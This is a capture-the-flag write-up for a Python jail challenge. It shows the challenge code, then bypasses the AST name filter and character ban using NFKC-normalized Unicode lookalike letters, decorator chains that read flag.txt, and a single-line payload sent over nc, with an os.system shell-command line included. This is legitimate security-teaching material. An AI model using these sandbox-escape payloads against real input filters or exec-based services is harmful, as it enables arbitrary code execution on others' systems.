⁉️ No Sense
👀 Before you start
You can donate to me via Buy Me a Coffee or follow me on Github
📖 Challenge Statement
#!/usr/local/bin/python3
from ast import parse, NodeVisitor
inp = input('> ')
if any(c in inp for c in '([=])'):
print('no.')
exit()
class NoNonsenseVisitor(NodeVisitor):
def visit_Name(self, n):
if n.id in inp: # surely impossible to get around this since all utf8 chars will be the same between ast.parse and inp, right?
print('no ' + n.id)
exit()
NoNonsenseVisitor().visit(parse(inp))
exec(inp) # management told me they need to use exec and not eval. idk why but they said something about multiline statements? idk
🚩 Getting the Flag
We are now tasked with bypassing an AST (Abstract Syntax Tree).
Let’s analyze the code step by step:
- The program takes user input.
- It checks if the input contains any of the characters
([=])
. If it does, it prints no. and exits. - The NoNonsenseVisitor class inherits from
NodeVisitor
. - The
visit_Name
method takesn
as a parameter. - It checks if
n.id
is ininp
. If true, it prints no followed byn.id
and exits. - The AST of the input is visited.
- Finally, the input is executed using exec.
- The primary issue is that the input must not contain letters
[a-zA-Z]
.
Since we have an exec
, we can perform stylish payload injections. For example:
Comme ça par exemple:
❯ python3 main.py
> print
no print
❯ python3 main.py
> 𝘱𝘳𝘪𝘯𝘵
Using stylish characters, we can bypass the challenge.
Now we need to find a way to either read the flag.txt
file or execute a command.
To open the flag.txt
file and bypass the AST
, we can use Python decorators
.
>>> def func(x):
... print("FUNC WAS CALLED SOMEWHERE")
...
>>> @func
... class z:
... pass
...
FUNC WAS CALLED SOMEWHERE
>>>
This is interesting, but how do we use it to read the flag.txt
file ?
If you followed the Parity-2 writeup, we know a trick to read the content of a file using only a for
loop.
We can use the same trick here.
>>> for 𝘱𝘢𝘵𝘩 in {lambda _: "flag.txt"}:
... @print
... @list
... @open
... @path
... class z:
... pass
...
['jail{flag_will_be_here_on_remote}\n']
Now, we use another trick to put everything on a single line by using \r
.
inp = """@𝘦𝘹𝘦𝘤\r@𝘪𝘯𝘱𝘶𝘵\rclass\x0ca:pass"""
print(inp)
Finally, we send the payload to the server:
$ python3 payload.py | nc challs1.pyjail.club 6197
__import__('os').system('cat flag.txt')
jail{the_no_in_no_nonsense_stands_for_normal_as_in_nfkc_normalized}
And there you go, we’ve obtained the flag: jail{the_no_in_no_nonsense_stands_for_normal_as_in_nfkc_normalized}
.
💖 Support
👀 Before you leave
You can donate to me via Buy Me a Coffee or follow me on Github